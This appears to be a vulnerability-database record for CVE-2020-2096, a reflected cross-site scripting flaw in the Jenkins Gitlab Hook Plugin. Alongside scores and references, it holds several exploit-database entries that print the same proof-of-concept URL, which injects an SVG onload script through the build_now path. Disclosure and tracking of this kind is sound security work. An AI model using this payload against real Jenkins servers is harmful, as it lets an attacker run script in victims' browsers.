ID CVE-2020-2096
Type cve
Reporter cve@mitre.org
Modified 2020-01-21T21:53:00
Description
Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.
{"id": "CVE-2020-2096", "bulletinFamily": "NVD", "title": "CVE-2020-2096", "description": "Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.", "published": "2020-01-15T16:15:00", "modified": "2020-01-21T21:53:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-2096", "reporter": "cve@mitre.org", "references": ["http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html", "http://www.openwall.com/lists/oss-security/2020/01/15/1", "https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683"], "cvelist": ["CVE-2020-2096"], "type": "cve", "lastseen": "2021-02-02T07:37:02", "edition": 8, "viewCount": 22, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:47927"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:6FA8AB9DE73ECFF63D7FD80C4555ECC5"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155967"]}, {"type": "zdt", "idList": ["1337DAY-ID-33821"]}], "modified": "2021-02-02T07:37:02", "rev": 2}, "score": {"value": 2.4, "vector": "NONE", "modified": "2021-02-02T07:37:02", "rev": 2}, "twitter": {"counter": 3, "tweets": [{"link": "https://twitter.com/ipssignatures/status/1341398601063403523", "text": "I know 2 other IPSs that have protections/signatures/rules for the vulnerability CVE-2020-2096.\nhttps://t.co/Nb7uekhxwY?amp=1\n/hashtag/S623eygridscje?src=hashtag_click"}, {"link": "https://twitter.com/ipssignatures/status/1341398600367169542", "text": "It's new to me that CheckPoint has a protection/signature/rule for the vulnerability CVE-2020-2096.\nhttps://t.co/XeFzYicl8g?amp=1\n/search?src=sprv&q=CVE-2020-2096\nThe vuln was published 341 days ago by NIST.\n/hashtag/S623eygridscje?src=hashtag_click"}, {"link": "https://twitter.com/VulmonFeeds/status/1357256758117474305", "text": "CVE-2020-2096\n\nJenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.\n\nhttps://t.co/wyaXPHtHXQ?amp=1"}], "modified": "2021-02-02T07:37:02"}, "vulnersScore": 2.4}, "cpe": ["cpe:/a:jenkins:gitlab_hook:1.4.2"], "affectedSoftware": [{"cpeName": "jenkins:gitlab_hook", "name": "jenkins gitlab hook", "operator": "le", "version": "1.4.2"}], "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": true}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, "cpe23": ["cpe:2.3:a:jenkins:gitlab_hook:1.4.2:*:*:*:*:jenkins:*:*"], "cwe": ["CWE-79"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:a:jenkins:gitlab_hook:1.4.2:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4.2", "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html"}, {"name": "[oss-security] 20200115 Multiple vulnerabilities in Jenkins plugins", "refsource": "MLIST", "tags": ["Third Party Advisory", "Mailing List"], "url": "http://www.openwall.com/lists/oss-security/2020/01/15/1"}, {"name": "https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683", "refsource": "CONFIRM", "tags": ["Vendor Advisory"], "url": "https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683"}], "immutableFields": []}
{"exploitpack": [{"lastseen": "2020-04-01T20:40:06", "description": "\nJenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting", "edition": 1, "published": "2020-01-16T00:00:00", "title": "Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-2096"], "modified": "2020-01-16T00:00:00", "id": "EXPLOITPACK:6FA8AB9DE73ECFF63D7FD80C4555ECC5", "href": "", "sourceData": "# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting\n# Exploit Author: Ai Ho\n# Vendor Homepage : https://jenkins.io/\n# Effective version : Gitlab Hook Plugin 1.4.2 and earlier\n# References: https://jenkins.io/security/advisory/2020-01-15/\n# CVE: CVE-2020-2096\n\n# PoC:\nhttp://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "packetstorm": [{"lastseen": "2020-01-17T10:38:14", "description": "", "published": "2020-01-16T00:00:00", "type": "packetstorm", "title": "Jenkins Gitlab Hook 1.4.2 Cross Site Scripting", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-2096"], "modified": "2020-01-16T00:00:00", "id": "PACKETSTORM:155967", "href": "https://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html", "sourceData": "`# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting \n# Exploit Author: Ai Ho \n# Vendor Homepage : https://jenkins.io/ \n# Effective version : Gitlab Hook Plugin 1.4.2 and earlier \n# References: https://jenkins.io/security/advisory/2020-01-15/ \n# CVE: CVE-2020-2096 \n \n# PoC: \nhttp://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/155967/jenkinsgitlabhook142-xss.txt"}], "zdt": [{"lastseen": "2020-01-19T23:06:27", "description": "Exploit for java platform in category web applications", "edition": 1, "published": "2020-01-16T00:00:00", "title": "Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting Vulnerability", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-2096"], "modified": "2020-01-16T00:00:00", "id": "1337DAY-ID-33821", "href": "https://0day.today/exploit/description/33821", "sourceData": "# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting\r\n# Exploit Author: Ai Ho\r\n# Vendor Homepage : https://jenkins.io/\r\n# Effective version : Gitlab Hook Plugin 1.4.2 and earlier\r\n# References: https://jenkins.io/security/advisory/2020-01-15/\r\n# CVE: CVE-2020-2096\r\n\r\n# PoC:\r\nhttp://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E\n\n# 0day.today [2020-01-19] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33821"}], "exploitdb": [{"lastseen": "2020-01-16T11:26:41", "description": "", "published": "2020-01-16T00:00:00", "type": "exploitdb", "title": "Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting", "bulletinFamily": "exploit", "cvelist": ["CVE-2020-2096"], "modified": "2020-01-16T00:00:00", "id": "EDB-ID:47927", "href": "https://www.exploit-db.com/exploits/47927", "sourceData": "# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting\r\n# Exploit Author: Ai Ho\r\n# Vendor Homepage : https://jenkins.io/\r\n# Effective version : Gitlab Hook Plugin 1.4.2 and earlier\r\n# References: https://jenkins.io/security/advisory/2020-01-15/\r\n# CVE: CVE-2020-2096\r\n\r\n# PoC:\r\nhttp://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/47927"}]}